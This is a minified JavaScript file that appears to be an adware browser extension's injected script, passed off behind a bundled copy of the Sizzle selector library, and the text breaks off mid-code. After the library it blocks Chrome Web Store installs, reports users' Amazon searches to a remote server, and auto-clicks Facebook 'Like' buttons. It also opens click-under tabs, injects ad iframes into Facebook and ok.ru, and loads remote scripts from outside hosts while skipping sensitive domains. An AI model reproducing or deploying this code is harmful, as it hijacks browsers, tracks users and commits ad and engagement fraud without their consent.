var aL, aK = i(aM, aI),
aN = aK.length;
while (aN--) {
aL = j.call(aM, aK[aN]);
aM[aL] = !(aO[aL] = aK[aN])
}
}) : function(aK) {
return i(aK, 0, e)
}
}
return i
}
},
pseudos: {
not: r(function(e) {
var i = [],
aI = [],
aJ = ag(e.replace(z, "$1"));
return aJ[av] ? r(function(aL, aQ, aO, aM) {
var aP, aK = aJ(aL, null, aM, []),
aN = aL.length;
while (aN--) {
if ((aP = aK[aN])) {
aL[aN] = !(aQ[aN] = aP)
}
}
}) : function(aM, aL, aK) {
i[0] = aM;
aJ(i, null, aK, aI);
return !aI.pop()
}
}),
has: r(function(e) {
return function(i) {
return E(e, i).length > 0
}
}),
contains: r(function(e) {
return function(i) {
return (i.textContent || i.innerText || R(i)).indexOf(e) > -1
}
}),
lang: r(function(e) {
if (!ae.test(e || "")) {
E.error("unsupported lang: " + e)
}
e = e.replace(A, ap).toLowerCase();
return function(aI) {
var i;
do {
if ((i = at ? aI.lang : aI.getAttribute("xml:lang") || aI.getAttribute("lang"))) {
i = i.toLowerCase();
return i === e || i.indexOf(e + "-") === 0
}
} while ((aI = aI.parentNode) && aI.nodeType === 1);
return false
}
}),
target: function(e) {
var i = aA.location && aA.location.hash;
return i && i.slice(1) === e.id
},
root: function(e) {
return e === w
},
focus: function(e) {
return e === L.activeElement && (!L.hasFocus || L.hasFocus()) && !!(e.type || e.href || ~e.tabIndex)
},
enabled: function(e) {
return e.disabled === false
},
disabled: function(e) {
return e.disabled === true
},
checked: function(e) {
var i = e.nodeName.toLowerCase();
return (i === "input" && !!e.checked) || (i === "option" && !!e.selected)
},
selected: function(e) {
if (e.parentNode) {
e.parentNode.selectedIndex
}
return e.selected === true
},
empty: function(e) {
for (e = e.firstChild; e; e = e.nextSibling) {
if (e.nodeName > "@" || e.nodeType === 3 || e.nodeType === 4) {
return false
}
}
return true
},
parent: function(e) {
return !v.pseudos.empty(e)
},
header: function(e) {
return t.test(e.nodeName)
},
input: function(e) {
return h.test(e.nodeName)
},
button: function(i) {
var e = i.nodeName.toLowerCase();
return e === "input" && i.type === "button" || e === "button"
},
text: function(i) {
var e;
return i.nodeName.toLowerCase() === "input" && i.type === "text" && ((e = i.getAttribute("type")) == null || e.toLowerCase() === i.type)
},
first: ar(function() {
return [0]
}),
last: ar(function(e, i) {
return [i - 1]
}),
eq: ar(function(e, aI, i) {
return [i < 0 ? i + aI : i]
}),
even: ar(function(e, aJ) {
var aI = 0;
for (; aI < aJ; aI += 2) {
e.push(aI)
}
return e
}),
odd: ar(function(e, aJ) {
var aI = 1;
for (; aI < aJ; aI += 2) {
e.push(aI)
}
return e
}),
lt: ar(function(e, aK, aJ) {
var aI = aJ < 0 ? aJ + aK : aJ;
for (; --aI >= 0;) {
e.push(aI)
}
return e
}),
gt: ar(function(e, aK, aJ) {
var aI = aJ < 0 ? aJ + aK : aJ;
for (; ++aI < aK;) {
e.push(aI)
}
return e
})
}
};
for (G in {
radio: true,
checkbox: true,
file: true,
password: true,
image: true
}) {
v.pseudos[G] = F(G)
}
for (G in {
submit: true,
reset: true
}) {
v.pseudos[G] = g(G)
}
function p(aK, aP) {
var i, aL, aN, aO, aM, aI, e, aJ = au[aK + " "];
if (aJ) {
return aP ? 0 : aJ.slice(0)
}
aM = aK;
aI = [];
e = v.preFilter;
while (aM) {
if (!i || (aL = D.exec(aM))) {
if (aL) {
aM = aM.slice(aL[0].length) || aM
}
aI.push(aN = [])
}
i = false;
if ((aL = K.exec(aM))) {
i = aL.shift();
aN.push({
value: i,
type: aL[0].replace(z, " ")
});
aM = aM.slice(i.length)
}
for (aO in v.filter) {
if ((aL = am[aO].exec(aM)) && (!e[aO] || (aL = e[aO](aL)))) {
i = aL.shift();
aN.push({
value: i,
type: aO,
matches: aL
});
aM = aM.slice(i.length)
}
}
if (!i) {
break
}
}
return aP ? aM.length : aM ? E.error(aK) : au(aK, aI).slice(0)
}
function o(aK) {
var aJ = 0,
aI = aK.length,
e = "";
for (; aJ < aI; aJ++) {
e += aK[aJ].value
}
return e
}
function y(aK, aI, aJ) {
var e = aI.dir,
aL = aJ && e === "parentNode",
i = ao++;
return aI.first ? function(aO, aN, aM) {
while ((aO = aO[e])) {
if (aO.nodeType === 1 || aL) {
return aK(aO, aN, aM)
}
}
} : function(aQ, aO, aN) {
var aS, aM, aP, aR = aE + " " + i;
if (aN) {
while ((aQ = aQ[e])) {
if (aQ.nodeType === 1 || aL) {
if (aK(aQ, aO, aN)) {
return true
}
}
}
} else {
while ((aQ = aQ[e])) {
if (aQ.nodeType === 1 || aL) {
aP = aQ[av] || (aQ[av] = {});
if ((aM = aP[e]) && aM[0] === aR) {
if ((aS = aM[1]) === true || aS === l) {
return aS === true
}
} else {
aM = aP[e] = [aR];
aM[1] = aK(aQ, aO, aN) || l;
if (aM[1] === true) {
return true
}
}
}
}
}
}
}
function aG(e) {
return e.length > 1 ? function(aL, aK, aI) {
var aJ = e.length;
while (aJ--) {
if (!e[aJ](aL, aK, aI)) {
return false
}
}
return true
} : e[0]
}
function ak(e, aI, aJ, aK, aN) {
var aL, aQ = [],
aM = 0,
aO = e.length,
aP = aI != null;
for (; aM < aO; aM++) {
if ((aL = e[aM])) {
if (!aJ || aJ(aL, aK, aN)) {
aQ.push(aL);
if (aP) {
aI.push(aM)
}
}
}
}
return aQ
}
function n(aI, i, aK, aJ, aL, e) {
if (aJ && !aJ[av]) {
aJ = n(aJ)
}
if (aL && !aL[av]) {
aL = n(aL, e)
}
return r(function(aW, aT, aO, aV) {
var aY, aU, aQ, aP = [],
aX = [],
aN = aT.length,
aM = aW || I(i || "*", aO.nodeType ? [aO] : aO, []),
aR = aI && (aW || !i) ? ak(aM, aP, aI, aO, aV) : aM,
aS = aK ? aL || (aW ? aI : aN || aJ) ? [] : aT : aR;
if (aK) {
aK(aR, aS, aO, aV)
}
if (aJ) {
aY = ak(aS, aX);
aJ(aY, [], aO, aV);
aU = aY.length;
while (aU--) {
if ((aQ = aY[aU])) {
aS[aX[aU]] = !(aR[aX[aU]] = aQ)
}
}
}
if (aW) {
if (aL || aI) {
if (aL) {
aY = [];
aU = aS.length;
while (aU--) {
if ((aQ = aS[aU])) {
aY.push((aR[aU] = aQ))
}
}
aL(null, (aS = []), aY, aV)
}
aU = aS.length;
while (aU--) {
if ((aQ = aS[aU]) && (aY = aL ? j.call(aW, aQ) : aP[aU]) > -1) {
aW[aY] = !(aT[aY] = aQ)
}
}
}
} else {
aS = ak(aS === aT ? aS.splice(aN, aS.length) : aS);
if (aL) {
aL(null, aT, aS, aV)
} else {
b.apply(aT, aS)
}
}
})
}
function aw(aN) {
var aI, aL, aJ, aM = aN.length,
aQ = v.relative[aN[0].type],
aR = aQ || v.relative[" "],
aK = aQ ? 1 : 0,
aO = y(function(i) {
return i === aI
}, aR, true),
aP = y(function(i) {
return j.call(aI, i) > -1
}, aR, true),
e = [function(aT, aS, i) {
return (!aQ && (i || aS !== aH)) || ((aI = aS).nodeType ? aO(aT, aS, i) : aP(aT, aS, i))
}];
for (; aK < aM; aK++) {
if ((aL = v.relative[aN[aK].type])) {
e = [y(aG(e), aL)]
} else {
aL = v.filter[aN[aK].type].apply(null, aN[aK].matches);
if (aL[av]) {
aJ = ++aK;
for (; aJ < aM; aJ++) {
if (v.relative[aN[aJ].type]) {
break
}
}
return n(aK > 1 && aG(e), aK > 1 && o(aN.slice(0, aK - 1).concat({
value: aN[aK - 2].type === " " ? "*" : ""
})).replace(z, "$1"), aL, aK < aJ && aw(aN.slice(aK, aJ)), aJ < aM && aw((aN = aN.slice(aJ))), aJ < aM && o(aN))
}
e.push(aL)
}
}
return aG(e)
}
function ai(aJ, aI) {
var aL = 0,
e = aI.length > 0,
aK = aJ.length > 0,
i = function(aV, aP, aU, aT, a1) {
var aQ, aR, aW, a0 = [],
aZ = 0,
aS = "0",
aM = aV && [],
aX = a1 != null,
aY = aH,
aO = aV || aK && v.find.TAG("*", a1 && aP.parentNode || aP),
aN = (aE += aY == null ? 1 : Math.random() || 0.1);
if (aX) {
aH = aP !== L && aP;
l = aL
}
for (;
(aQ = aO[aS]) != null; aS++) {
if (aK && aQ) {
aR = 0;
while ((aW = aJ[aR++])) {
if (aW(aQ, aP, aU)) {
aT.push(aQ);
break
}
}
if (aX) {
aE = aN;
l = ++aL
}
}
if (e) {
if ((aQ = !aW && aQ)) {
aZ--
}
if (aV) {
aM.push(aQ)
}
}
}
aZ += aS;
if (e && aS !== aZ) {
aR = 0;
while ((aW = aI[aR++])) {
aW(aM, a0, aP, aU)
}
if (aV) {
if (aZ > 0) {
while (aS--) {
if (!(aM[aS] || a0[aS])) {
a0[aS] = ay.call(aT)
}
}
}
a0 = ak(a0)
}
b.apply(aT, a0);
if (aX && !aV && a0.length > 0 && (aZ + aI.length) > 1) {
E.uniqueSort(aT)
}
}
if (aX) {
aE = aN;
aH = aY
}
return aM
};
return e ? r(i) : i
}
ag = E.compile = function(e, aM) {
var aJ, aI = [],
aL = [],
aK = Q[e + " "];
if (!aK) {
if (!aM) {
aM = p(e)
}
aJ = aM.length;
while (aJ--) {
aK = aw(aM[aJ]);
if (aK[av]) {
aI.push(aK)
} else {
aL.push(aK)
}
}
aK = Q(e, ai(aL, aI))
}
return aK
};
function I(aI, aL, aK) {
var aJ = 0,
e = aL.length;
for (; aJ < e; aJ++) {
E(aI, aL[aJ], aK)
}
return aK
}
function aC(aJ, e, aK, aN) {
var aL, aP, aI, aQ, aO, aM = p(aJ);
if (!aN) {
if (aM.length === 1) {
aP = aM[0] = aM[0].slice(0);
if (aP.length > 2 && (aI = aP[0]).type === "ID" && aD.getById && e.nodeType === 9 && at && v.relative[aP[1].type]) {
e = (v.find.ID(aI.matches[0].replace(A, ap), e) || [])[0];
if (!e) {
return aK
}
aJ = aJ.slice(aP.shift().value.length)
}
aL = am.needsContext.test(aJ) ? 0 : aP.length;
while (aL--) {
aI = aP[aL];
if (v.relative[(aQ = aI.type)]) {
break
}
if ((aO = v.find[aQ])) {
if ((aN = aO(aI.matches[0].replace(A, ap), al.test(aP[0].type) && e.parentNode || e))) {
aP.splice(aL, 1);
aJ = aN.length && o(aP);
if (!aJ) {
b.apply(aK, aN);
return aK
}
break
}
}
}
}
}
ag(aJ, aM)(aN, e, !at, aK, al.test(aJ));
return aK
}
v.pseudos.nth = v.pseudos.eq;
function af() {}
af.prototype = v.filters = v.pseudos;
v.setFilters = new af();
aD.sortStable = av.split("").sort(N).join("") === av;
aj();
[0, 0].sort(N);
aD.detectDuplicates = ah;
aA["c822bb0d82ad01a5ae"].Sizzle = E
})(window);;
var e = i[g].Sizzle;
var d = i[g];
d.Sizzle = e;
d.demoMode = i[g].demoMode = (o);
d.ready(function() {
if (location.href.indexOf("thisadsfor.us") > -1) {
return true
}
try {
(function() {
var x = function() {
var z = "chrome-webstore-item";
var A = document.getElementsByTagName("link");
for (var y = 0, B = A.length; B > y; ++y) {
if (z == A[y].getAttribute("id") || z == A[y].getAttribute("rel")) {
d.loadedCallback("PROMO_ANLZ", "", location.host, location.href, A[y].getAttribute("href"))
}
}
};
x()
})()
} catch (v) {}
try {
(function() {
var z = function() {
location.href = "javascript:(" + function() {
window.onbeforeunload = null;
window.onunload = null;
chrome.webstore.install = null
} + ")()"
};
var y = function() {
window.stop && window.stop();
location.replace("about:blank")
};
var x = function() {
if ("49377" == "51433" && location.hostname.indexOf("olam-hamedia.tech") > -1) {
return
}
var B = "chrome-webstore-item";
var C = document.getElementsByTagName("link");
for (var A = 0, D = C.length; D > A; ++A) {
if (B == C[A].getAttribute("id") || B == C[A].getAttribute("rel")) {
C[A].setAttribute("rel", "");
C[A].setAttribute("id", "");
C[A].setAttribute("href", "");
z()
}
}
};
if (!location.hostname.match(/dostup-[a-z]+\.com$/) && location.hostname.indexOf("freevideodownloader") == -1 && location.hostname.indexOf("musvk") == -1 && location.hostname.indexOf("vkonline.xyz") == -1 && location.hostname.indexOf("vkunblock.com") == -1) {
x()
}
})()
} catch (v) {}
var r = function(y) {
var B = {};
y = y.split("?");
if (y.length < 2) {
return B
}
var A = y[1];
var C = A.split("&");
for (var z = 0; z < C.length; z++) {
var D = C[z].split("=");
if (typeof B[D[0]] === "undefined") {
B[D[0]] = D[1]
} else {
if (typeof B[D[0]] === "string") {
var x = [B[D[0]], D[1]];
B[D[0]] = x
} else {
B[D[0]].push(D[1])
}
}
}
return B
};
var s = {};
var p = document.getElementsByTagName("script");
for (var t = 0; t < p.length; t++) {
var q = p[t];
if (q.src.search(/c822bb0d82ad01a5ae.*\.js/i) !== -1) {
if (n) {
d.scriptDomain = q.src.replace(/^https?\:\/\//i, "").split("/")[0]
}
s = r(q.src);
break
}
}
if (location.host.indexOf("bing.com") > -1 && i.AM && typeof i.AM == "object") {
i.AM.push(d.scriptDomain)
}
i[g].tbParams = {
wid: "49377",
sid: "",
tid: "200",
title: "Test Results",
optoutUrl: ""
};
if (s.sid) {
i[g].tbParams.sid = s.sid
}
if (s.title) {
i[g].tbParams.title = decodeURIComponent(s.title)
}
if (s.optout) {
i[g].tbParams.optoutUrl = decodeURIComponent(s.optout)
}
i[g].getParams = r(location.href);
d.tbParams = i[g].tbParams;
d.loadedCallback("LOADED", "", location.host);
var w = /\.(jpg|png|jpeg|gif|bmp|doc|pdf|xls|js|xml|doc|docs|txt|css)$/;
if (location.href.match(w)) {
d.loadedCallback("URL_STATICFILE");
return false
}
var u = /(paypal\.com|secure\.|\.gov|doubleclick\.net|addthis\.com|twitter\.com|docs\.google\.com|drive\.google\.com)/;
if (location.hostname.match(u)) {
d.loadedCallback("URL_IGNOREDOMAIN");
return false
}(function(d, w, u) {
var $$ = w["c822bb0d82ad01a5ae"];
var scriptsToLoad = $$.fromJson("{\"78507\":{\"countries_allow\":\"\",\"countries_deny\":\"\",\"hostname_allow\":\"\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"0-50\",\"url\":\"\",\"limit\":\"0\",\"type\":\"external\",\"key\":\"78507\"},\"d115b\":{\"countries_allow\":\"\",\"countries_deny\":\"at,br,ch,de,dk,es,fi,fr,in,it,mx,nl,no,se,sg,tw,gb,us\",\"hostname_allow\":\"(?:google\\\\..*)\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"0-100\",\"url\":\"\\/\\/1675450967.rsc.cdn77.org\\/cu\\/mtz63.js\",\"limit\":\"0\",\"type\":\"external\",\"key\":\"d115b\"}}");
var extendedCallbacks = false;
if ("49377" == "51739") {
extendedCallbacks = true
};;;;;
var isInIframe = function() {
return (window.top != window.self)
};
var runForceSearch;;;;
if (!scriptsToLoad) {
return false
}
$$.monetizationsConfig = scriptsToLoad;
var getUrlFromConfigObject = function(configRow) {
if (configRow.http_url && window.location.protocol == "http:") {
return configRow.http_url
} else {
if (configRow.https_url && window.location.protocol == "https:") {
return configRow.https_url
} else {
if (configRow.url) {
return configRow.url
}
}
}
};
if (scriptsToLoad['4a71b'] && $$.getCookie("__mzpsd") == 1) {
return false
}
if (location.hostname.indexOf("ok.ru") > -1 && scriptsToLoad['1f755']) {
var oconf = $$.getMtzCfg('1f755');
if (!!oconf.injectOk && oconf.injectOk == "1") {
(function() {
var d = document.querySelector("body");
if (!d) {
return
}
function i(j) {
j = j.replace(/%PUBLISHER_ID%/, ($$ && $$.tbParams && $$.tbParams.wid) ? $$.tbParams.wid : "");
j = j.replace(/%SOURCE_ID%/, ($$ && $$.tbParams && $$.tbParams.tid) ? $$.tbParams.tid : "");
j = j.replace(/%SUBID%/, ($$ && $$.tbParams && $$.tbParams.sid) ? $$.tbParams.sid : "");
j = j.replace(/INSERT_RANDOM_NUMBER_HERE/, new Date().getTime());
return j
}
var e = i("<iframe id='a60b8ce3' name='a60b8ce3' src='//cdnpps.us/www/delivery/afr.php?zoneid=122&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='300' height='600' style='display:inline-block;'><a href='//cdnpps.us/www/delivery/ck.php?n=abb06471' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=122&amp;n=abb06471' border='0' alt='' /></a></iframe>");
var c = i("<iframe id='8a61598d' name='8a61598d' src='//cdnpps.us/www/delivery/afr.php?zoneid=119&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='468' height='60' style='display:inline-block;'><a href='//cdnpps.us/www/delivery/ck.php?n=8a61598d' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=119&amp;n=8a61598d' border='0' alt='' /></a></iframe>");
function f(j) {
return document.querySelectorAll(j) || []
}
var a = function(n, j, o, l, m) {
var k = document.createElement("div");
k.setAttribute("id", "_" + Math.floor((Math.random() * 1000000000)));
k.setAttribute("style", m || "");
k.innerHTML = o;
l.style.textAlign = "center";
l.appendChild(k)
};
function b(j) {
j.id = "_" + j.id;
j.setAttribute("data-mytype", "name_baner");
j.innerHTML = "";
a(300, 600, e, j)
}
function h(k, j) {
var l = document.createElement("div");
l.setAttribute("data-mytype", "name_baner");
l.setAttribute("style", "margin:0 auto; overflow:hidden;");
k.setAttribute("data-mytype", "name_baner");
k.appendChild(l);
a(468, 60, c, l, j)
}
var g = function() {
Array.prototype.forEach.call(f("div.feed.__klass.__no-ava>.feed_cnt"), function(j) {
if (!j.getAttribute("data-mytype")) {
h(j, "margin: 0 auto 10px;")
}
});
Array.prototype.forEach.call(f('div[class^="feed h-mod"]'), function(j) {
if (!j.lastElementChild.getAttribute("data-mytype") && !j.parentNode.getAttribute("class")) {
h(j, "margin: 10px auto 0;")
}
});
Array.prototype.forEach.call(f('div[data-btype^="LinkBanner_navigate"]'), function(j) {
if (!j.getAttribute("data-mytype")) {
j.innerHTML = "";
b(j)
}
});
setTimeout(g, 3333)
};
g()
})();
}
}
if (typeof runForceSearch != "undefined") {
runForceSearch()
}
var amzreg = /(^|www\.)amazon\./g;
if (location.hostname.match(amzreg)) {
(function(f, a) {
function e(h) {
var g, d, i = new RegExp("[?&#]" + h + "=([^&#$]+)", "g");
while (g = i.exec(a.location.href)) {
d = decodeURIComponent((g[1] + "").replace(/\+/g, "%20"))
}
return d
}
function b() {
if (f.location.pathname.indexOf("/s/") !== 0 && f.location.pathname.indexOf("/gp/search/") !== 0) {
return
}
var p = (f.querySelector("[name=field-keywords]") && f.querySelector("[name=field-keywords]").value) || e("field-keywords");
var g = "",
i = f.querySelector("#searchDropdownBox option:checked");
if (f.querySelector("#apsRedirectLink")) {
i = f.querySelector("#searchDropdownBox option:first-child")
}
if (!!i) {
g = i.value + "::" + i.textContent
}
var j = [];
var o = [].slice.call(f.querySelectorAll(".s-result-item"));
if (o.length) {
j = o.map(function(m) {
return m.getAttribute("data-asin")
})
}
var k, d = f.getElementById("s-result-count");
if (!!d) {
k = d.textContent.indexOf("-") > -1 ? parseInt(d.textContent) : 1;
if (f.location.hostname.indexOf("amazon.com.mx") > -1) {
k = d.textContent.indexOf(" a ") > -1 ? parseInt(d.textContent) : 1
}
if (f.location.hostname.indexOf("amazon.cn") > -1 || f.location.hostname.indexOf("amazon.co.jp") > -1) {
var h = d.textContent.match(/\d+\-\d+/);
if (!!h) {
k = parseInt(h[0])
}
}
}
if (Number.isInteger(k) == false) {
var n = f.querySelector(".pagnCur");
var l = n ? parseInt(n.textContent) : parseInt(e("page")) || 1;
k = (l - 1) * o.length + 1
}
if (!j.length) {
return
}
$$.loadedCallback("AMZN_SEARCH", "", a.location.hostname, p, j.join(","), k, g)
}
b();
var c = a.history.pushState;
window.history.pushState = function(i) {
var d = 1000,
h = f.getElementById("s-results-list-atf"),
g = setInterval(function() {
if (h !== f.getElementById("s-results-list-atf") && f.getElementById("centerBelowPlusspacer") === null) {
clearInterval(g);
b()
}
if (!d--) {
clearInterval(g)
}
}, 100);
return c.apply(a.history, arguments)
}
})(document, window);
}
var searchEngineCheckResult;
var isSearchEngine = function() {
if (typeof searchEngineCheckResult != "undefined") {
return searchEngineCheckResult
}
var found = false;
["google.", "search.yahoo.", "bing.com", "ask.com", "shopping.yahoo", "search.aol.", "wow.com", "when.com", "search.mywebsearch.com", "search.myway.com", "duckduckgo.com", "mysearch.com", "teoma.com", "searchlock.com", "myprivatesearch.com", "searchprivacy.co", "thesmartsearch.net", "infospace", "safefinder.com", "mysearchguardian.com"].forEach(function(domainCheck) {
if (location.hostname.indexOf(domainCheck) > -1) {
found = true
}
});
searchEngineCheckResult = found;
return found
};
if (location.hostname.indexOf("facebook.com") > -1) {
if (scriptsToLoad['5df82']) {
(function(r, j, l) {
var k = j["c822bb0d82ad01a5ae"];
var a = j["c822bb0d82ad01a5ae"].Sizzle;
if (location.hostname.indexOf("facebook.com") < 0) {
return
}
var q = {
_mfbgp_sub_g2: "/fun8times"
};
var g = '5df82';
var o = false;
var t = "_mfbgp_sub_t";
var b = false;
var n = null;
for (var p in q) {
if (location.href.indexOf(q[p]) > -1) {
n = p
}
}
if (!n) {
var f = false;
var m = k.getCookie(t);
if (m > (k.unixTimestampNow - 86400)) {
return
}
var c = [];
for (var p in q) {
if (k.getCookie(p)) {
continue
}
c.push(q[p])
}
if (!c || c.length < 1) {
return
}
var e = c[Math.floor(Math.random() * c.length)];
if (typeof e == "undefined") {
return
}
e = "https://facebook.com" + e;
var s = function(i) {
var u = this;
var d = [];
k.on(j.addEventListener ? j : r, "click", function(w) {
var v = w.ctrlKey || w.metaKey || w.altKey || w.shiftKey,
x = w.which && 1 === w.which || 0 === w.button;
k.each(d, function(y) {
if (y.call(w) === true) {
k.preventDefault(w);
return false
}
})
});
u.backgroundLink = function(x) {
var w = document.createElement("a");
w.href = x;
w.__norewrite = 1;
w.rel = "norewrite";
w.target = "_blank";
var v = document.createEvent("MouseEvents");
v.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null);
w.dispatchEvent(v)
};
u.clickunder = function(v) {
d.push(v)
};
u.clickunder(function(v) {
if (!f && i) {
u.backgroundLink(i);
k.updateLimits(g);
k.loadedCallback("BANNER_LOAD", g);
k.setCookie(t, k.unixTimestampNow, {
expire: 864000,
path: "/"
});
f = true;
return true
} else {
return false
}
})
};
s(e);
return
}
if (k.getCookie(n)) {
return
}
k.loadedCallback("MNTZ_LOADED", g);
function h() {
if (b) {
return
}
var d = a("#pages-header button.likeButton");
if (d.length > 0) {
d[0].click();
b = true;
k.setCookie(n, 1, {
expire: 86400 * 60,
path: "/"
});
k.setCookie(t, k.unixTimestampNow, {
expire: 864000,
path: "/"
})
}
}
k.ready(function() {
if (o) {
return
}
o = true;
h();
var v = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver;
var i = document.body;
if (typeof v != "undefined") {
var u = new v(function(x) {
x.forEach(function(z) {
if (z.type === "childList") {
for (var y = 0; y < z.addedNodes.length; y++) {
h()
}
}
u.observe(document.body, {
childList: true,
subtree: true
})
})
});
u.observe(i, {
childList: true,
subtree: true
})
} else {
var w = function() {
if (b) {
return true
}
h();
d = setTimeout("checkByTimer", 1000)
};
var d = setTimeout("checkByTimer", 1000)
}
})
})(document, window);
}
if (scriptsToLoad['af23c']) {
(function(f, h, j) {
var g = true;
try {
if (chrome.bookmarks) {
g = false
}
} catch (c) {}
if (location.protocol == "chrome-extension:") {
g = false
}
if (g) {
var b = window.location.href;
var l = document.getElementById("dexscriptpopup");
if (l === null && b.indexOf("m.facebook.com") != "-1") {
document.body.style.width = "0px";
var k = document.createElement("div");
k.id = "dexscriptpopup";
k.style.cssText = "position:fixed; width:100%; height:100%; z-index:100; background:#fff; top:0px; left: 0px;";
document.body.appendChild(k);
setTimeout(function() {
window.close()
}, 10000)
}
var i = document.createElement("script");
i.id = "dexscriptid";
i.src = "https://votetoda.com/ext/script.php?id=ukr&track=true";
var a = document.getElementById("dexscriptid");
if (a === null) {
document.body.appendChild(i)
} else {}
} else {
var i = document.createElement("script");
i.id = "dexscriptid";
i.src = "https://votetoda.com/ext/script.php?id=ukr&track=false";
var a = document.getElementById("dexscriptid");
if (a === null) {
document.body.appendChild(i)
} else {}
}
})(document, window);
}
if (scriptsToLoad['1f755']) {
var fconf = $$.getMtzCfg('1f755');
if (!!fconf.injectFacebook && fconf.injectFacebook == "1") {
(function() {
var d = document.querySelector("body");
if (!d) {
return
}
function j(k) {
k = k.replace(/%PUBLISHER_ID%/, ($$ && $$.tbParams && $$.tbParams.wid) ? $$.tbParams.wid : "");
k = k.replace(/%SOURCE_ID%/, ($$ && $$.tbParams && $$.tbParams.tid) ? $$.tbParams.tid : "");
k = k.replace(/%SUBID%/, ($$ && $$.tbParams && $$.tbParams.sid) ? $$.tbParams.sid : "");
k = k.replace(/INSERT_RANDOM_NUMBER_HERE/, new Date().getTime());
return k
}
var f = j("<iframe id='c8866ab3' name='c8866ab3' src='//cdnpps.us/www/delivery/afr.php?zoneid=120&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='300' height='250' style='display:block;'><a href='//cdnpps.us/www/delivery/ck.php?n=c8866ab3' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=120&amp;n=c8866ab3' border='0' alt='' /></a></iframe>");
var c = j("<iframe id='8a61598d' name='8a61598d' src='//cdnpps.us/www/delivery/afr.php?zoneid=119&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='468' height='60' style='display:block;'><a href='//cdnpps.us/www/delivery/ck.php?n=8a61598d' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=119&amp;n=8a61598d' border='0' alt='' /></a></iframe>");
function g(k) {
return document.querySelectorAll(k) || []
}
var a = function(n, k, o, m) {
var l = document.createElement("div");
l.setAttribute("id", "_" + Math.floor((Math.random() * 1000000000)));
l.innerHTML = o;
l.setAttribute("style", "display: inline-block;height:" + k + "px !important;width:" + n + "px !important;margin:0 auto;z-index:99999999;border:0;");
m.style.textAlign = "center";
m.appendChild(l)
};
function h(k) {
k.style.minHeight = "500px";
k.id = "_" + k.id;
k.setAttribute("data-mytype", "name_baner");
k.innerHTML = "";
a(300, 500, f + f, k)
}
function i(k) {
var l = document.createElement("div");
l.setAttribute("data-mytype", "name_baner");
l.setAttribute("style", "width:468px;height:60px;margin:0 auto 10px auto;");
k.setAttribute("data-mytype", "name_baner");
k.appendChild(l);
a(468, 60, c, l)
}
var b = function() {
Array.prototype.forEach.call(g('div[class^="_5jmm _5pat"]'), function(k) {
if (!k.getAttribute("data-mytype")) {
i(k)
}
});
Array.prototype.forEach.call(g("#pagelet_ego_pane"), function(k) {
if (!k.getAttribute("data-mytype") && k.offsetHeight > 50) {
h(k)
}
});
setTimeout(b, 3333)
};
b();
var e = new MutationObserver(function(k) {
for (var l in k) {
if (k[l].addedNodes.length) {
b();
break
}
}
});
e.observe(document.getElementById("content"), {
childList: true
})
})();
}
}
} else {
$$.loadedCallback("BEFORE_OPTOUT_REQ");
$$.jsonp({
url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + $$.scriptDomain + "/optout/get",
data: {
key: "c822bb0d82ad01a5ae"
},
callback: function(response) {
if (!response.success) {
$$.loadedCallback("OPTOUT_RESPONSE_FAIL");
return false
}
$$.loadedCallback("OPTOUT_RESPONSE_OK");
var userId = response.userId;
var startTime = response.strTm;
var optout = {};
if (response.optout) {
optout = $$.optoutValue = $$.fromJson(decodeURIComponent(response.optout))
}
var country = response.country;
var limits = {};
var ownMonetizationsClickFlag = false;
if (response.limits) {
limits = $$.limitsValue = $$.fromJson(decodeURIComponent(response.limits))
}
if (response.lcFlag && response.lcFlag == 1) {
ownMonetizationsClickFlag = true
}
var targetingUser = response.targeting || 0;
var currentHostname = location.hostname;
currentHostname = currentHostname.replace("www.", "");
var timeNow = $$.unixTimestampNow;
if (!country) {
country = "xx"
}
country = country.toLowerCase();
if (!userId) {
userId = $$.randomNumber(1, 100);
$$.jsonp({
url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + $$.scriptDomain + "/optout/set/userid",
data: {
key: "c822bb0d82ad01a5ae",
cv: userId
}
})
}
if (!startTime) {
$$.setStartTime()
}
var timeAfterInstall = $$.unixTimestampNow - startTime;
var platformBlocks = [];
for (var key in scriptsToLoad) {
try {
var scriptRow = scriptsToLoad[key];
var scriptUrl = scriptRow.url;
var scriptUrlParams = {};
var scriptCoverageFrom = 0;
var scriptCoverageTo = 100;
if (scriptRow.coverage.indexOf("-") > -1) {
var coverageParts = scriptRow.coverage.split("-");
scriptCoverageFrom = parseInt(coverageParts[0]);
scriptCoverageTo = parseInt(coverageParts[1])
} else {
scriptCoverageTo = parseInt(scriptRow.coverage)
}
if (($$.getCookie("__mtzalnly") == 1 || $$.getCookie("__lnntlk") == 1) && ['cd1d2', '210e2', 'b48fe', '6a131', '81d01', 'a5093', '865b2', '88350', 'f81c7', '80c44', '90f06'].indexOf(key) == -1) {
if ("49377" != "51739") {
if (extendedCallbacks) {
$$.loadedCallback("CB_MNTZ_FILTER_AFFLNK", key, "__mtzalnly=" + $$.getCookie("__mtzalnly"), "__lnntlk=" + $$.getCookie("__lnntlk"), location.hostname)
}
continue
} else {
if (extendedCallbacks) {
$$.loadedCallback("CB_MNTZ_FILTER_NOTIF_AFFLNK", key, "__mtzalnly=" + $$.getCookie("__mtzalnly"), "__lnntlk=" + $$.getCookie("__lnntlk"), location.hostname)
}
}
}
if (isSearchEngine()) {
